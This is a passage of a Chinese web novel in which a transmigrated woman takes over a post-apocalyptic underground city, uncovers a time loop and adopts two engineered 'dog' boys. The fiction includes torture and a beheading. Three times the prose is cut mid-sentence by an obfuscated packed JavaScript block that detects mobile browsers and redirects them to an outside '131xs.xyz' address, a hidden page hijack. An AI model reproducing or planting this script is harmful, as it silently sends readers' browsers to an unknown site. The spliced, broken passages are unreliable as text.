男孩问,急切中又有点委屈, “您会给我起名字吗?” “他不会说话。” 闵朝言想起只能呜咽着抱住自己撒娇的狼孩,问, “为什么你会?” “人类训犬,当然要各有各的长处,不能养都一样的狗呀。” 少年似乎笑了一声,又剧烈地咳嗽起来。 显然,他的身体很虚弱。 “既然知道,就说,钥匙在哪里?” 鹤棠开口问。 这是他第一次插嘴,闵朝言有些惊讶地看了他一眼。 “这种人,如果不直接问,只会不断和你绕圈子。” 鹤棠说着,侧身站在闵朝言面前。 “那也要看,问我的是谁。” 男孩声音虚弱,却没有一点恐惧退却之意, “家犬,当然不能向外人投诚。” “我们会保护主人,咬死那些别有用心靠上来的家伙。” 在黑暗中,男孩的竖瞳亮起,仿佛野兽的獠牙。 “一只残废的狗,也敢说这种大话啊,真可怜。” 鹤棠微笑着低头。 “主人……” 男孩仿佛被攻击到痛点,靠在笼子边上,看向闵朝言,隔着笼子,眼中有濛濛泪水摇摇欲坠。 ……这绿茶狗! 鹤棠面色一僵。 “都闭嘴。” 闵朝言不耐地出声制止, “说人话,钥匙在哪。” “钥匙……不在任何一个地方,” 男孩靠在笼子边上,看着闵朝言,轻声说, “钥匙,是一个人。” —— 地下城的城主回来了。 城主?不是吴城吗? 哦,不对,他只是一个“代理城主”,只是他杀了太多太多这样称呼他的人,所以地下城里,再也没有谁敢公开谈论这件事了。 那,这个回归的城主是谁? 她怎么回来的?为什么回来的? 街巷中流传的消息说, 她才是真正的城主,才是这个地下城最理所应当的主人。 可无论人们再怎么样去努力地回想,都完全想不出自己对她有任何记忆, 仿佛这个人就是这样凭空出现的,没有任何痕迹,也没有任何证据。 大家争相议论着这些问题,当然,是在昏暗的影子里,寂静的酒馆里,一声声被压到最低的窃窃私语里。 毕竟,谁也不知道这个“真正的城主”是什么样的人,唯一知道的,是她杀了吴城。 那可是吴城啊。 他喜欢杀人,喜欢折磨自己的俘虏, 在地下城里,这不算是什么大事,许多权贵都有这样的爱好。 让人们最恐惧的,他选择“玩具”的兴趣和他手中的权力一样广大而肆意。 一般权贵会盯上的,无非就是自己身边的人,人们只需要小心避开他们的目光,就能保全一条性命。 但吴城不是这样的,他兴起时,甚至会让手下在街上随意抢人。 他对玩具没有特定喜好,男女老少都不在意,他只喜欢“钻研”那些手段, 抽打,火烧,剥皮亦或在眼眶中灌入水银…… 只要他想, 任何人都是他的玩具,任何人都可以被这样对待。 这个新的城主,也会有这样的权力吗? 人们瑟瑟发抖地,互相问着自己早已经知道答案的问题。 在遍布了地下城的阴影中,他们努力将自己的身体蜷缩得更小一些,更不显眼一些。 但这场属于城主的回归仪式,再想要蜷缩起来的人,不敢不来。 恐惧就是这样,没有道理,无法违背。 闵朝言站在高台上。 这里是地下城唯一的行刑台,石头高高堆起来,足以让上面的人被所有人看到。 她蹲下,伸出手摸着石头上面被火焰灼烧出的裂痕。 那上面的痕迹狰狞重叠,仿佛是某种扭曲虫子尸体被交错着压在了一起。 “人都到了?” 闵朝言问。 鹤棠站在她身后,开口说: “是的,他们都为了您而来。” “为了见我,还是为了杀我?” 闵朝言打趣。 “为了知道以后自己的噩梦,由谁主演。” 鹤棠微笑着回答。 “那可真是殊荣。” 听到这个答案,闵朝言笑了一声。 人群在低处聚集,黑压压一片,看不清任何一个人的长相,他们发出的声音混在一起,细碎不清。 在地下这样苟延残喘着,在无可避免的危机之下拼命努力也不知道自己究竟可以活到哪一个明天。 人类和老鼠, 好像其实也没有区别。 到了生死关头,不管是自诩文明进化的人类,还是老鼠虫豸,本质上都是一样的,也都会做出没有任何分别的选择: ——活下去, 不顾一切地,活下去。 “这就是城主吗?” “看上去好年轻……没有吴城那么吓人。” “她会不会好相处一点?” 这是战战兢兢在猜测的。 “这么年轻就能杀了吴城?好可怕。” “我们走吧,別触霉头了。” “还是听一听,万一有事呢。” 这是在谨慎观察的。 “好奇怪,我完全不记得听说过她?” “她就是建立地下城的人?好年轻,怎么可能?” “我是参与建城的人,我真的没见过她啊……” “真漂亮啊,看着像以前的电影明星。” “这么年轻的女人能杀了吴城,不会是在床上……嘿嘿……” “闭嘴,小心她听见!” 这是不知死活和不想被连累的。 「果然是副本世界,不管是什么时候都一定会有不知死活的炮灰冒出来。」 系统吐槽。 确实,如果在现实世界,再嘴贱的人都不敢在这样的场合出声犯贱。 ——最多在网上发帖找骂。 只有副本世界里,才必然会有这种嘴贱NPC出声叫嚣,方便主角打脸或者反派拉仇恨。 “这么多人她听见什么?再说了,我说的难道不是真话?这么好看的女人,肯定早就嘿嘿——” 嘴贱NPC还在忠实履行自己的设定,直到他的脑袋突然被一片石头切开,直接掉在地上。 闵朝言晃了晃手腕,有点不满意的样子,自我反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307595|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思: “好丑。” 她不习惯用右手攻击,出手的角度不够准确,所以那颗人头带了一截脖子下来, 在她的审美里,一颗头干干净净地落地,那才算是命中。 人头落地,激起一阵灰尘, 和血液一起喷涌而出的还有恐惧。 “啊——!!!” 尖叫声,脚步声,一场恐惧引起的骚乱即将爆发,然而就在那之前一秒,骚乱的人群中,出现了一个个带着面具,手持武器的黑衣人。 “是‘和平鸽’!他们来了!” 人群中爆发出带着惊喜的声音。 在地下城的三个势力中, 吴城崇尚暴力血腥,以武力镇压;希望联盟连接紧密,但极其排外;只有神秘的“和平鸽”算是和民众们站在一起,会给予他们一定的保护。 和希望联盟的“家人关系”不同,和平鸽是绝对的上下级组织,所有的成员,都对“信使”抱有无上的忠诚。 因此,尽管吴城是名义上的城主,但真正在这座城市中有着控制权的,却是“和平鸽”,以及它的领导者“信使”。 “信使大人,是信使大人!” 人群中有声音高呼。 闵朝言转身一看,鹤棠不知何时已经戴上了象征着“信使”身份的面具,同样的白鸽面具,只是眼角边多了数条金色的花纹。 “他是来砸场子的吗?” 有人低声问。 不止一个人有这样的疑惑,像微雨一样的议论声又起来了,很微弱,但无法被抹去。 “信使大人!我们支持你!” 突然,有一个人高声呼喊道。 “信使大人!” “信使大人!” “我们愿意跟随信使大人!” 呼喊声一声声叠加,黑压压的人群汇聚出声浪。 吴城死了,这个城主也许没有那么暴戾,也许没有那么可怕! 说不定,她是可以被推翻的! 说不定,他们可能推翻她! 声浪忘情地呼唤着一个真正仁慈的“主人”, 全然忘记了上一个冒犯她的人,头颅和已经身体分家,鲜血将地上的尘土都浸染。 「怎么办怎么办?鹤棠不会真的要背刺你吧?」 系统有些紧张。 闵朝言面上神色不变,看不出一点慌乱。 然而,在她背后手中,匕首已经被紧紧握着,刀刃对着自己的皮肤。 ‘系统,准备时停。’ 闵朝言很冷静。 她的血肉能杀死吴城, 没理由不能杀死鹤棠。 看着鹤堂颈侧渐渐浮现的一点青蓝色,闵朝言眯起眼睛。 “看来今天这个就任仪式,不一定是我的。” 她看向鹤棠,眼神锐利专注。 顶着几乎将人刺穿的视线,鹤棠没有说话, 沉默在高台之上蔓延。 “信使大人!信使大人——信使……大人。” 浪潮一样的呼声渐渐停下,也许是因为他们发现了,那些带着鸽子面具的“和平鸽”们,没有加入他们忘情的呼喊。 “怎么会呢。” 鹤棠终于开口,一如既往地,是那样温和的笑意,亲昵而优雅。 他一步步走向闵朝言。 鹤棠实在不像是在地下城里生活着的人, 他一身白衣,脸上的白鸽面具用金边花纹描绘图腾,身材挺拔,一双腿长而笔直,迈出的每一步,都如同仙鹤般,有种高洁优雅之态。 这只高洁的鹤走到闵朝言身前,单膝跪下,头深深垂下,露出洁白如玉的后颈, 献上性命的,最高的忠诚与臣服。 “这是您的仪式,” “这是您的城池,” “我和这座城池一样,完全地臣服都属于您。” 他说。 仙鹤低下高傲的头颅,这是他第一次,也是生命中唯一一次, 宣告自己的忠诚。 他即将守护眼前这个人, 直到生命尽头。 [检测到剧情节点已完成!] 14. 地下城的暴君(14) [检测到剧情节点已完成!] [节点检测:??婉拒告白后,依旧获得对方的追随。] [主要角色崩坏值结算:] [予烬:99(冻结中)] [折日:13-1] [鹤棠:2-1] [积分结算:-49+50] [恭喜任务者!] [——透支状态解除,道具权限已解冻——] 剧情节点,结算成功了。 闵朝言一时间有点反应不不过来。 「太好了!闵朝言,你好厉害!」 系统兴奋的声音打破了她的怔愣,左边身体的痛意瞬间减轻,行动也不再那样迟缓僵硬。 [道具·心碎创口贴] [使用中] 是系统给她用了道具。 「其实你当初说趁着予烬被冻结赶紧刷剧情节点这件事,我心里是有点点不太相信的,毕竟是主角嘛咱们直接代刷有点钻空子了,但是你真的好厉害啊!果然还是应该相信你才对!」 系统叽里呱啦说了一大堆。 ‘哦,啊,没事。’ 闵朝言敷衍应答。 她看着单膝跪在自己身前的鹤棠。 这个人从一开始就对她很特别。 闵朝言一直不明白为什么。 他一定有一些别的目的,一些需要利用她达到的目的,现在的友善只是一种伪装或者取得她好感的办法。 这是唯一符合逻辑的解释。 但是,如果只是为了表达合作的诚意,需要这样大张旗鼓地臣服在她膝下吗? 需要把姿态放得这么低,这么…… 忠诚吗? 闵朝言想不明白, 她不擅长整理与情感有关的思绪。 “现在,我的主人,” 鹤棠看着她明显有些茫然的神情,笑着说, “这世界是你的了。” 所有的和平鸽全部随着他的动作单膝跪地, 他们向自己的新主人宣誓效忠。 声浪被吹散,死一般的寂静在城中蔓延,那些曾经的声浪们此刻恨不得有人能够刚才的自己灌一碗哑药。 地上的头颅鲜血已经流干了,人们终于注意到了它的存在。 人群再一次骚动起来,这一次,是因为恐惧。 恐惧很安静,没有声音,也不会停止。 一个,又一个,人群矮了下去, 如同他们跟随着第一个呼喊的人而呼喊,此刻他们也跟随着第一个跪拜的人而跪拜。 闵朝言看着这一切发生。 她感到迷茫,又觉得这个场景十分有趣。 “我是你们真正的城主,” “我在找一个人,一个拥有着地下城最宝贵钥匙的人。” “找到TA,交给我,奖励你们……活下去。” 说完这句话,闵朝言转身离开。 她只说了三句话,只杀了一个人。 她甚至没有因为人群的呼喊而愤怒,而杀人, 只是平静地接受了“和平鸽”和所有人的朝拜。 可她带给地下城的恐惧, 却比杀了千百人的吴城要深得多得多。 吴城再暴虐,再恐怖, 终究还算是一个人,只是一个可怕一些的人。 但是她呢? 她……是什么? 在从前暴虐的吴城手下,和平鸽会保护他们,可现在呢? 和平鸽选择了自己的主人,不再是他们的保护者了。 人群死寂着,看着闵朝言离去的身影。 “太阳”的光芒渐渐熄灭,人群也逐渐散去,小巷中,一个戴着兜帽的身影呆呆伫立。 “我们该走了。”有人提醒。 那人却恍若无闻,只默念着: “找一个人,找一个人……” “你说,她要找的会是我吗?” 他喃喃道,语气中充满了热切的渴慕。 兜帽下,一张秀美又绚烂到极致的美丽面容上,带着稚童一般天真烂漫的笑容。 他瘦削的手臂上,一道深可见骨的伤口正在缓缓愈合,藏起那涌动着的浅蓝色血液。 —— 地下城迎来了一位暴君, 她要找一个人。 什么人? 大家问。 不知道, 但是那个人,有着地下城最珍贵东西的钥匙。 但是, 地下城最珍贵的东西是什么? 是珍贵的财宝吗? 人类进入末日多年,在地下城里苟延残喘,他们已经没有任何的财宝了。吴城上任之后扫荡了所有居民的家,连权贵都没能幸免。 现在,整个地下城居民们所有人加起来的钱,都没有吴城手里的多。 吴城死了,他的一切都属于杀死他的闵朝言。 所以, 不会是财宝。 是强大的武器吗? 在面对强大畸变怪物时,人类已经用光了自己所有的强大武器,现在就连一把枪都是黑市里的珍稀物品。 当年,希望联盟曾经征集“有识之士”带着自己的武器前来,组成了一个地上作战小队,要夺回人类在地上的尊严。 当然,这个队伍失败了,死去队员们的尸体被留在了地面上,武器自然由希望联盟保管。 手无寸铁的人们安静地接受了这个结果。 所以, 不会是武器。 那还有什么? 这座破败,贫瘠,了无生机的地下城里,还有什么是可以被称为“珍贵”的? 在一阵迷茫之后,人们开始看着四周的一切,心中浮现起这个问题: 这里还有什么值得生活的? 我的人生,到现在还算是活着吗? 人们抬起头, 看着天上的“太阳”。 —— “你觉得那个人,会隐藏在普通民众当中吗?” 鹤棠问。 闵朝言回到城主的居所, 已经有“和平鸽”将整座房子上上下下打扫干净,连一应家具都换上了新的。 她坐在真丝床单上,没有回答,神色显得有些倦怠。 “今天的这场戏,是你安排的。” 她忽然说。 鹤棠看着她,没有说话。 “最开始高声支持你的那个人,和刚才铺床单的那个‘和平鸽’,手的形状一模一样。” 闵朝言说着,附身凑近鹤棠,视线盯着他的眼睛,不错过一丝一毫的表情变化。 “我说过,我会竭尽全力帮助你的,你的时间很宝贵,用杀人立威太慢了。” 鹤棠点头承认了。 所以,他选择了另一个方法, 用他自己以及“和平鸽”多年下来积累的威势作为闵朝言的垫脚石。 今日之后, 和平鸽不再是地下城的保护者,而是“暴君的走狗”。 鹤棠想到这一点,居然没有觉得心中有任何遗憾之情,反而满是期待。 “不过……” 他又说。 闵朝言撑着下巴,认真等待他的下一句。 “你离我这么近,我会想亲你。” 他忽然笑了下。 ……这种微妙的,被撩拨的感觉。 闵朝言轻哼了一声。 “你可以试试,看看是你凑上来的动作快,还是我把你脑袋拧下来的动作快。” 她也笑着回答。 “把脑袋拧下来,手会酸的。” 鹤棠说。 “换纱布。” 闵朝言对着鹤棠抬起自己的左手。 从透支状态解除,重新开始使用道具到现在,她总觉得手臂伤口闷闷的,不舒服。 不知道是因为伤口一直被裹着,还是畸变病毒已经开始影响到她的感官。 “好。” 鹤棠点头。 他换药的动作很熟练,骨节分明的手指轻巧揭下纱布,小心地没有碰到一点伤口处的位置,在上面散了一些并没有什么用的消炎药粉。 低头看到伤口的时候,鹤棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307596|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动作几不可闻地顿了顿。 “感染的速度减缓了。” 他说。 “你不好奇为什么吗?” 闵朝言问。 “这是你发明出来的病毒,你能克制它,也很正常。” 鹤棠的神色回归自然。 “你为什么知道我叫闵朝言,我没有告诉过你。” 闵朝言又说。 鹤棠垂下眼,用新的纱布为闵朝言包扎好伤口,明明不是什么困难的工作,他的指尖却不住地轻轻颤抖着。 “你应该累了,要休息吗?” 他避开了闵朝言的问题。 闵朝言却不肯停下,用已经不太能自如行动的左手勾住他的下巴,迫使男人的视线对着自己。 “我不累,我只是好奇,你为什么认识我,又为什么知道我喜欢甜食,还一点也不惊讶我突然好转起来的伤势。” 她说。 鹤棠闭上眼,他似乎想起了什么,那张英俊而正直的脸上,此刻出现一丝隐忍的痛苦。 “你到底是谁?” 闵朝言用僵硬的手指抚摸过他的脸,一字一句地问他。 「啊?什么意思?」 系统迷茫地问。 ‘你告诉过我,这些副本的本质,都是不完全,濒临崩坏的小宇宙,对吧。’ 闵朝言说。 「是啊。」 系统点头。 不完全的小宇宙无法自然运转,所以会按照‘命运线’来发展,在被神骸空间也就是《物·源》游戏吸纳之后,它们会变成游戏中的副本,那些命运线也就成为了副本的剧情。 在大宇宙中,有无数这样的小宇宙漂浮着,在每一个分秒间,诞生,崩溃,重组。 ‘如果这个小宇宙没有被神骸空间吸纳,它应该也早就崩塌了吧。’ 闵朝言说。 「从崩坏程度上看来说,是这样没错。」 系统回答。 ‘但它没有,它被神骸空间封锁住,强行停止了在了即将崩塌的前一刻。你之前说,这个副本被冻结了,指的是里面的一切都完全静止了吗?’ 闵朝言问。 「太具体的说明,我的资料库没有。总之,就是把副本世界和游戏本体之间隔绝起来,阻止副本的第一个剧情节点被触发,直到我们进入副本。」 系统回答。 ‘所以,也可能是这个副本被锁死了时间线,然后一次又一次地重播着前世剧情,对吧?’ 闵朝言说。 她一直觉得很奇怪, 予烬的崩坏值为什么那么高? 一切剧情都还没有发生,如果之前这个副本是被冻结的,直到闵朝言进入的那一刻才运转,那予烬是要多扭曲才能瞬间精神变态? 而且,这里的一切,都和原定剧情差别太大了。 系统手中的原定剧情是在副本被冻结时提取出来的命运线,可闵朝言进入副本之后,这里面桩桩件件,各种人物和设定都与原剧情产生了巨大的偏差。 这总不可能是在她进入副本那瞬间才突然发生的。 只有一种可能了, 在被游戏“冻结”之后,在闵朝言和系统进入之前, 这个副本,也一直在运行着, 只是不断地,在运行着“前置剧情”,一遍又一遍,一次又一次, 直到所有的一切,都彻底扭曲成现在的样子。 「啊?这?啊?好像,也不是不可能……但是这也……」 系统惊讶。 “这也太残忍了,让他们一次又一次地活在不断到来,无法逃避的末日中。” 闵朝言说着,抬手摸着鹤棠的脸颊, “不记得还好,如果能记住这一切,记住那些不断的毁灭……应该很痛苦吧。” “这是你的第几次末日了,鹤棠?” 她问。 鹤棠没有说话, 他是一个极其英俊的男人,高大挺拔,周正温润,完美到连一丝瑕疵也没有。 他握住她的手背, 笑容柔和,眼神死寂。 15. 地下城的暴君(15) “你是我一直在等待的人。” 他说。 “我一直希望,有一个人能结束这一切。” 世界是从什么时候开始循环的? 鹤棠已经记不清了。 从莫名的畸变开始,然后是慌乱,战争,逃生,最后和幸存者们一起躲进了地下城中。 鹤棠还依然清晰地记得这些东西。 地下城的生活很辛苦, 即使已经蜷缩起来到了暗无天日的地方,人类还是喜欢拉帮结派,建立阶级和秩序,确定特权和压迫。 十三岁的鹤棠杀死了两个想把自己煮了吃掉的人, 他手上的血还没有干透,希望联盟收留了他。 十三岁,鹤棠还记得这个数字, 因为那好像是他最后的“年龄”。 希望联盟收留了许多孤儿,他们每个人都四肢健全,相对健康,除了普遍都十分护食和好斗之外,大家都还算得上是正常人。 自我介绍的时候,他说他叫鹤棠,十三岁了。 孩子也都说起了自己的名字,却没有人回复说自己多大了。 鹤棠不解,但他也不敢说太多话, 所以他不问了。 只有一个人凑到他身边,小声说了一句: “我十一岁了。” 那个人,就是予烬。 鹤棠想回答,但下一秒,世界突然崩塌,再睁眼,他重新回到了陆地上,一株巨大的畸变植物正张开异化后的大嘴向他咬来。 逃生,躲藏,地下城。 回溯。 地下城,联盟,收留。 回溯。 回溯, 回溯, 回溯! 鹤棠不再知道自己多少岁了, 就像他不再知道这世界已经重复过多少次毁灭的命运。 再一次回溯,鹤棠站在小巷中,对着两个尾随着他的人,声音很平静地说: “我知道你们想吃我。” “吃吧。” 死亡能换来这命运的终结吗? 被按在沸水里的时候,鹤棠曾经这样期待过。 可惜他还是醒了过来, 一株畸变植物张开变异的大嘴向他咬来。 他没有跑。 醒来,世界再一次回溯。 最开始,回溯的时间很不稳定,几个月,甚至有时候几天, 但渐渐的,世界能坚持的时间慢慢变长,有时候鹤棠能过上几个月,甚至几年的完整人生。 他最长的纪录是十年, 从畸变开始,到世界再次崩塌回溯, 十年。 他逐渐发现,世界的中心是予烬, 因为无论他做什么,只要予烬在十年后的某天捡到一个受了重伤的人,世界就会在下一秒终结。 所以,在这一次,他抢先一步,杀了那个人。 世界果然没有终结, 甚至…… “那天,我看着你突然出现在那个地方,没有任何征兆和痕迹,就是突然出现了,我吓了一跳,” 鹤棠回忆着,眼中焕发出生机, “我想靠近你,却被一股力量震晕了过去,在那个梦里,我看见了你,还有世界的真相。” “系统?” 闵朝言在心里召唤系统。 「哈、哈哈,我当时来得太着急,没注意到你的降落点周围还有人,估计他是被数据泄露震晕的。」 人在尴尬的时候会很忙,系统也是,它现在只恨自己没有长两只手用来挠头。 “所以,我认识你,我看到了你在那个‘游戏’的样子,我知道你叫闵朝言,喜欢吃甜食,喜欢抢东西。” 鹤棠说着,垂下眼,耳根有点红, “我觉得,你很可爱。” 「哇,他是一秒钟从末日轮回转到了初恋心动频道吗?」 系统流露出一点讶异。 ‘……的确。’ 闵朝言点头,抬手拍了拍鹤棠的脸颊。 不知怎得, 她没有什么打趣的兴致。 这很奇怪,闵朝言一向不认为自己是一个富有同情心的人,鹤棠的经历听上去是很可怜,但她有什么可动容的? 闵朝言看着鹤棠,半响,抬手摸了摸他的脸颊,只说: “我看过予烬的尸体,可比起他,你更像是一个死人。” 她只是, 这一瞬间有点想摸摸他的脸。 ‘系统,我知道为什么没人认识我了。’ 闵朝言说。 「啊?为什么?」 系统问。 这只系统鹅已经完全接受了自己的动物设定,彻底放弃思考了。 ‘因为这个副本建立在不完全体的小宇宙上,所以副本中的设定才会有这么明显的疏漏或者bug,比如说在这个副本里,没有任何一个人有年龄,甚至连年龄层都没有。’ 闵朝言说, ‘这就出现了第一个bug:我今年26岁,如果我在副本中的年龄也是如此,那么—— 我怎么可能是十年前建立地下城的城主, 怎么可能有予烬那么大的孩子, 又怎么可能在十几年前研制出足以将人类逼入末日的畸变病毒?’ 「额,额……」 系统又开始思考模块过载了。 ‘如果我在副本中的年龄不是如此,但这个副本又对人物年龄没有任何设定。导致了内部的情节逻辑无法推进,那么,’ 闵朝言说, ‘这就是一个bug。’ 「你这么一说,好像也是。」 系统点头。 ‘这个副本之所以有着极其简单,断章取义式的情节点判定,就是因为它的内在没有逻辑,所以根本也无法用更清晰可靠方式来判断。’ 闵朝言说。 「对哦……不对!你怎么知道情节点判定是副本自动的?我没告诉你啊。」 系统突然反应过来。 ‘这种事情,没有你想象中隐秘。’ 闵朝言回答。 系统只知道有哪些情节点,但它既无法控制情节点的发生,也无法控制情节点的判定,闵朝言发现它连发放积分的权利都没有。 那谁在控制这些判定? 游戏主系统? 那何必越过自己的下属系统,把判定结果直接交给闵朝言。 除此之外,就只有一个选项了。 在副本中还有一个存在,它不一定拥有具体的意志,但它了解副本应该走向的命运,也可以判定,这个副本究竟有没有走在命运的正轨上。 闵朝言渐渐明白自己要做的是什么了。 所谓的“扭转”崩坏, 不仅仅是粗暴地完成情节点,而是让这些被禁锢住无限回溯的副本,迎来结局。 解放,自由,或是终结。 都是结局。 “我答应你。” 闵朝言说。 她不是一个善于共情的人,也并不打算往这个方向发展。 但是, 如果副本没有结局,她自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309000|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己也无法离开。 闵朝言绝不肯被困住, 被任何东西困住,都不可以。 “鹤棠,你在之前的回溯中,见过除我以外的‘城主’吗?” 她问。 “在你出现之前,地下城没有‘城主’。” 鹤棠摇头。 “最开始的地下城呢?在你最早的记忆里。” 闵朝言问。 “没有。 地下城不是一开始就建立好的,它最开始只是一个被人占领的地下矿场,人多了之后,才在各种争斗里划分出势力和代称。” 鹤棠回答。 「怎么可能?这和原剧情差得也太多了吧。」 系统抱怨。 「我下次再也不相信这些副本剧情了,太坑人了!」 …… 闵朝言在心里点点头。 “可如果没有‘城主’,这个病毒是怎么来的?” 她有些疑惑地问。 “因为是先有了‘畸变病毒’,才有了‘制造出畸变病毒的城主’。” 鹤棠回答。 “先休息一下吧,你看着很累了。” 鹤棠为她盖上被子,摸着闵朝言的手, “明天再想这些。” “我以为你会很着急。” 闵朝言确实有点疲惫,打了个哈欠,懒洋洋地说。 “以前很着急,很想要一切快点结束,” 鹤棠点头, “但是现在,看着你在这里,又觉得,也许慢慢来也可以。” “我想记住你。” 他说。 -希望联盟- 折日站在已经被打扫干净的实验室里,看着那个属于予烬的玻璃展柜, 此刻,展柜中空无一物。 “我听说了。” 身后,一个粗粝的嗓音传来。 折日转过身,看着眼前的女人。 她身着灰色长袍,兜帽遮住上半张脸,只露出一道狰狞伤疤。 那伤疤层层叠叠,组织纠结在一起,居然看不清楚来历,是刀伤火烧,亦或是强酸腐蚀? 不重要了,总归都是伤疤。 “这世界上,居然真的没有东西能杀死他,我试了这么多次,这次也失败了。予烬复活了。” 折日感叹。 “有一个希望联盟的成员看到了予烬,他做了个不怎么高明的伪装,出现在了城主的回忆仪式上。” “我听说了,你找了一个人去杀他,就是那个城主吗?” 疤痕女人回答。 “是,那个人很奇怪,她是突然出现的。” 折日回答。 “和平鸽的人为她造势,说她是消失多年的真正城主,可我们都知道,这么多次循环里,这是她第一次出现。” “我看到她了,在那个就任仪式上,她和我们都不一样。” 女人喃喃道, “她好像,真正地在活着。” 不用反反复复活在同样的末日里, 不用绝望挣扎在无法开始的人生里, 真正地活着。 “我们也可以,总有一天,我们也可以的。” 折日拉住女人的手,神情认真,仿佛在宣告一个誓言: “只要杀了予烬,这该死的诅咒就一定能停下,我们就能逃离这不断的循环,一定可以的!我们一起去过真正的人生。” 疤痕女人抬头,看着折日的眼睛,抽出手抱住她,一字一句: “好,我们一起,去真正地活一次。” 16. 地下城的暴君(16) 闵朝言醒来的时候,看见自己的床边蹲着两颗毛茸茸的脑袋。 “主人好偏心,只让那个虚伪男陪着你睡觉。” 少晏气鼓鼓地说。 少晏就是之前的笼中男孩,闵朝言把他放出来的时候,他不依不饶地撒娇要名字,她就给起了一个。 少晏,少言; 她有点希望这只吵闹的人形小狗可以少说点,或者说点有用的,总之就是让她耳朵安静一会儿。 给其中一个起了名字,那就不能厚此薄彼,于是闵朝言给狼孩也起了一个名字: 胥羽。 没什么寓意,系统随机出来了几个备选,在那些名字里,闵朝言觉得这两个字组合起来挺好看。 而且读音接近“嘘”,和不会说话的狼孩能组成一个很符合她审美的地狱笑话。 闵朝言看着两只已经被洗干净的人形小狗。 胥羽看上去又胖了一点,他现在终于像个人模样了, 而且是个很好看的人模样。 头发被洗干净之后梳好,金色的发丝蓬起来,显得很精致乖巧, 脸颊上有一些肉之后,才发现他其实是一双圆润的杏眼,一双金色竖瞳此刻放松下来,里面满映着闵朝言的模样。 少晏长得也很不错, 精气神更是比被锁在笼子里时要好上许多。 他虽然瘦,但远没有到胥羽之前那副形销骨立的程度,看上去只是弱不禁风了一点,反而为他增添些许精致秀气的感觉,狭长的桃花眼中带着笑意,五官轻巧玲珑,苍白纤弱,颇有种雌雄莫辨的美。 “主人。” 少晏说。 胥羽依然不会说话,喉咙里发出咕噜咕噜的音节,走过来蹲下,用自己的毛茸茸的脑袋去蹭闵朝言的手,一双圆眼睛眨巴眨巴,很期待的模样。 闵朝言顺手摸了他一把,果然看到他满足地眯起眼睛。 “你醒了。” 闵朝言点头,摸着手心里毛茸茸的脑袋,问。 “嗯,感觉好多了,好像又能再活一天的样子。” 少年笑眯眯地点头。 不管是少晏还是胥羽,好像都在和她接触之后,状态肉眼可见得好了许多。 但闵朝言又不是什么人参果成精,哪来的这种能力? 闵朝言疑惑地皱眉,还没等发问,答案就已经有人送到她嘴边。 “我想想,从哪里开始说呢?从我们的来历开始好不好?我和他一样,都是在实验室里诞生的,他们想培养出绝对忠诚的,又足够强大的工具。” 少晏指了指自己和身边的胥羽,缓缓讲述起了自己从前的故事。 他的节奏把握得很好,内容风趣语调轻快,闵朝言有种自己在听说书的感觉。 末日之后,有很多孩子被遗弃,少晏和胥羽都是其中的倒霉蛋,因为他们没有死在街头巷尾的撕斗中,反而被实验室“收留”了。 实验室的主人有一个宏伟的目标,TA想要找出人类的‘未来’,也就是进化的可能性。 进化的可能性无穷无尽,少晏所在的项目组是其中一个方向——阶级化。 这个阶级,指的不是那些所谓富有贫穷的经济阶级或者地位阶级,这是一种最本质,最原始的阶级,生物阶级。 就如同蚁群一般,以蚁后为核心建立家园,用于劳作的工蚁,用以繁衍的雄蚁,等等等等,不一而足。 从婴儿到青少年,实验室的研究员们用各种方式,使这些孩子被塑造成忠诚且绝对服从的‘犬’。 精神上的洗脑是最基础的,研究员们更为一种信赖的,是基因编辑。 为了保证绝对的可控性和忠诚性,研究员们在基因编辑里,加入了一些东西,让这些“犬”如果没有得到‘主人’的关注,就会陷入极度的精神痛苦中,甚至引发身体器官内部的自行衰竭,直到死亡。 “但这很讽刺不是吗?他们其实根本就不相信自己的成果,因为只有人才会不断地背叛。” 说到这里,少晏笑出声来, 的确,狗永远不会背叛自己认定的主人。 那些研究员们因为担心试验品而设下的种种限制,反而更证明了,他们其实将少晏当做了“人”来看待。 “刚刚被改造的那段时间里,我想死,但又觉得该死的人不是我。所以,我决定要活下去,就算一定要有一个‘主人’,那也要是我自己选的。” “可是,我看到的每一个人,要么是贪婪的疯子,要么是行尸走肉,没有一个人身上不散发着臭气,也没有一个人配让我臣服。” 少晏看着闵朝言,脸颊靠在她的手背上,眼神中带着喜悦之情, “您很不一样呢,您知道吗?” “在您的眼睛里,我可不带着任何羞耻,也不带着任何怨恨地属于你。因为您和这个罪恶的链条,这个令人恶心的世界,都没有任何关系。” 胥羽没有说话,只是轻轻用鼻尖碰着闵朝言的手心,像是赞同,又像是在撒娇。 